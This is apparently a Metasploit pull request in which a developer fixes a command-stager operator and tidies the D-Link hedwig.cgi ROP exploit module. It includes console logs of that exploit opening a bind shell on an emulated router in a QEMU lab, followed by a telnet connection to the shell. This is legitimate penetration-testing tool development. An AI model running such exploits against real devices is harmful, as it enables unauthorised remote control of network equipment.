m-1-k-3/metasploit-framework — pull request #11 by jvazquez-r7 (2014-06-19 21:00:27+00:00)
Title: Review 3408

This pull request tries to clean https://github.com/rapid7/metasploit-framework/pull/3408, basically by fixing the cmd_concat_operator, since other cmd stagers redefine it, they can go broken by switching the function signature in just one of them. I'm going to write an rspec to avoid this in the future.

On the other hand, minor cleanup to the module, which is working ok on my qemu environment:

```
msf exploit(dlink_hedwigcgi_rop) > rexploit
[*] Reloading module...

[*] 172.16.158.139:8888 - Trying to access the vulnerable URL...
[*] Started bind handler
[*] 172.16.158.139:8888 - Exploiting...
[*] Command shell session 3 opened (172.16.158.1:56751 -> 172.16.158.139:4444) at 2014-06-19 15:56:06 -0500
[*] Command Stager progress - 10.61% done (196/1848 bytes)
[*] 172.16.158.139 - Command shell session 3 closed. Reason: Died from EOFError
[*] Command Stager progress - 21.21% done (392/1848 bytes)
[*] Command Stager progress - 31.82% done (588/1848 bytes)
[*] Command Stager progress - 42.42% done (784/1848 bytes)
[*] Command Stager progress - 53.03% done (980/1848 bytes)
[*] Command Stager progress - 63.64% done (1176/1848 bytes)
[*] Command Stager progress - 74.24% done (1372/1848 bytes)
[*] Command Stager progress - 84.85% done (1568/1848 bytes)
[*] Command Stager progress - 95.45% done (1764/1848 bytes)
^C[-] Exploit failed: Interrupt

[-] Invalid session id
msf exploit(dlink_hedwigcgi_rop) > exit -y
```

I don't get session because my qemud environment isn't fully functional xD, but the shell is listening there

```
juan@ubuntu:~/debian/mipsel$ telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.
juan@ubuntu:~/debian/mipsel$ telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id
: not found

```

Please @m-1-k-3 do you mind to verify the exploit still work on your real environment, I'll work in the specs and it will be ready to be landed I guess!